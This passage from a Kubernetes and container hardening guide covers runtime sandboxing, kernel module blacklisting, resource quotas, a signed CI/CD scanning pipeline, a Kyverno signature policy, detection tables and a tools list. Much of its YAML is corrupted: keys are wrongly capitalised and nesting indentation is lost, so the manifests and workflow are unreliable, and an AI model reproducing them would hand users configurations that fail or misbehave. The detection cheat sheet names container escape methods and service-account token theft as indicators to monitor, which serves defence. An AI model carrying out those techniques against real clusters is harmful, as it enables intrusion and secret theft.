| **Firecracker** | Very Strong | microVMs | Restricted via seccomp + cgroups | Serverless / FaaS |
| **Standard (runc)** | Namespace/cgroup | Shared kernel | Full kernel access | Trusted workloads |

### RuntimeClass Configuration

```yaml
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
Name: gvisor
handler: runsc
---
apiVersion: v1
kind: Pod
metadata:
Name: sandboxed-pod
spec:
RuntimeClassName: gvisor
Containers:
  - name: app
Image: myapp:latest
```

### Kernel Module Prevention

Blacklist unnecessary kernel modules on K8s nodes:
```
# /etc/modprobe.d/kubernetes-blacklist.conf
blacklist dccp
blacklist sctp
blacklist rds
blacklist tipc
```
---
## 15. Resource Quotas & Limit Ranges (DoS Prevention)

```yaml
apiVersion: v1
kind: ResourceQuota
metadata:
Name: compute-resources
Namespace: production
spec:
Hard:
Pods: "20"
Requests.cpu: "4"
Requests.memory: 4Gi
Limits.cpu: "8"
Limits.memory: 8Gi
Persistentvolumeclaims: "10"
---
apiVersion: v1
kind: LimitRange
metadata:
Name: default-limits
Namespace: production
spec:
Limits:
  - default:
Memory: 256Mi
Cpu: 500m
DefaultRequest:
Memory: 128Mi
Cpu: 250m
Type: Container
```
---
## 16. Complete CI/CD Security Pipeline

### Pipeline Architecture

```
Source → Build → Scan → Sign → Store → Deploy → Monitor
  │        │       │      │       │       │        │
  │        │       │      │       │       │        └─ Falco runtime detection
  │        │       │      │       │       └─ Admission controller (verify signature)
  │        │       │      │       └─ Harbor registry (RBAC, replication)
  │        │       │      └─ Cosign keyless signing + attestation
  │        │       └─ Trivy (CVEs) + Dockle (lint) + Grype (SBOM scan)
  │        └─ SLSA L3 hardened build (provenance generated)
  │
  └─ Syft SBOM generation at source
```

### GitHub Actions Example

```yaml
name: Secure Container Pipeline
on: [push]
Jobs:
Build-scan-sign:
Runs-on: ubuntu-latest
Permissions:
Id-token: write  # For keyless signing
Contents: read
Security-events: write
Steps:
    - uses: actions/checkout@v4

    # Build
    - name: Build image
Run: docker build -t $IMAGE .

    # Generate SBOM
    - name: Generate SBOM
Run: syft $IMAGE -o spdx-json=sbom.spdx.json

    # Lint image
    - name: Lint with Dockle
Run: dockle --exit-code 1 --exit-level fatal $IMAGE

    # Scan for vulnerabilities
    - name: Scan with Trivy
Uses: aquasecurity/trivy-action@master
With:
Image-ref: ${{ env.IMAGE }}
Severity: 'CRITICAL,HIGH'
Exit-code: '1'

    # Scan SBOM with Grype
    - name: Scan SBOM
Run: grype sbom:./sbom.spdx.json --fail-on high

    # Push to registry
    - name: Push image
Run: docker push $IMAGE

    # Sign image (keyless)
    - name: Sign with Cosign
Run: cosign sign $IMAGE --yes

    # Attach SBOM as attestation
    - name: Attest SBOM
Run: cosign attest --predicate sbom.spdx.json --type spdxjson $IMAGE --yes
```

### Admission Controller Verification

```yaml
# Kyverno policy to verify image signatures
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
Name: verify-image-signatures
spec:
ValidationFailureAction: Enforce
Rules:
  - name: verify-cosign-signature
Match:
Any:
      - resources:
Kinds:
          - Pod
VerifyImages:
    - imageReferences:
      - "registry.example.com/*"
Attestors:
      - entries:
        - keyless:
Issuer: "https://token.actions.githubusercontent.com"
Subject: "https://github.com/myorg/*"
```
---
## 17. Detection Cheat Sheet

### Container Escape Indicators

| Indicator | Detection Method | ATT&CK |
|-----------|-----------------|--------|
| `nsenter` execution | Falco rule on process spawn | T1611 |
| `chroot` to host path | Falco rule on chroot syscall | T1611 |
| Mount operations in container | Falco rule on mount syscall | T1611 |
| Cgroup release_agent write | File integrity monitoring | T1611 |
| `/proc/1/root` access | Falco rule on file access | T1611 |
| Device file access (/dev/sda) | Falco rule on open syscall | T1611 |

### Kubernetes API Abuse Indicators

| Indicator | Detection Method | ATT&CK |
|-----------|-----------------|--------|
| Secret enumeration (list all) | Audit log: verb=list resource=secrets | T1552.007 |
| Pod creation with hostPath | Admission controller + audit log | T1610 |
| Privileged pod creation | PSA enforcement + audit log | T1610 |
| ClusterRole binding changes | Audit log: resource=clusterrolebindings | T1098 |
| Service account token theft | Falco rule on token file read | T1528 |
| Exec into pod | Audit log: subresource=exec | T1609 |

### Supply Chain Attack Indicators

| Indicator | Detection Method | ATT&CK |
|-----------|-----------------|--------|
| Unsigned image deployment | Admission controller (Cosign verify) | T1195.002 |
| Image from untrusted registry | ImagePolicyWebhook | T1195.002 |
| New CVE in running image | Continuous scanning (Harbor/Trivy) | T1195.002 |
| SBOM deviation from baseline | Syft diff between builds | T1195.001 |
| Modified provenance metadata | SLSA verification failure | T1195.002 |
---
## 18. Key References & Tools Summary

| Tool | Purpose | Category |
|------|---------|----------|
| **Trivy** | Multi-scanner (CVEs, secrets, misconfig, SBOM) | Vulnerability |
| **Grype** | Vulnerability scanner with EPSS/KEV prioritization | Vulnerability |
| **Syft** | SBOM generator (SPDX, CycloneDX) | Supply Chain |
| **Cosign** | Container signing/verification (keyless via Sigstore) | Supply Chain |
| **Dockle** | Container image linter (CIS Docker Benchmark) | Compliance |
| **kube-bench** | CIS Kubernetes Benchmark checker | Compliance |
| **kube-hunter** | K8s penetration testing / attack simulation | Offensive |
| **kubesec** | K8s manifest security scoring | Compliance |
| **Falco** | Runtime syscall monitoring + rule engine | Detection |
| **Harbor** | Registry with integrated scanning, signing, SBOM | Registry |
| **imgcrypt** | Container image layer encryption | Confidentiality |
| **OPA/Gatekeeper** | Policy engine admission controller | Policy |
| **Kyverno** | K8s-native policy engine | Policy |
| **Kubernetes Goat** | Vulnerable K8s lab (22 scenarios) | Training |
| **gVisor** | User-space kernel sandbox (runsc) | Isolation |
| **Kata Containers** | Lightweight VM isolation | Isolation |
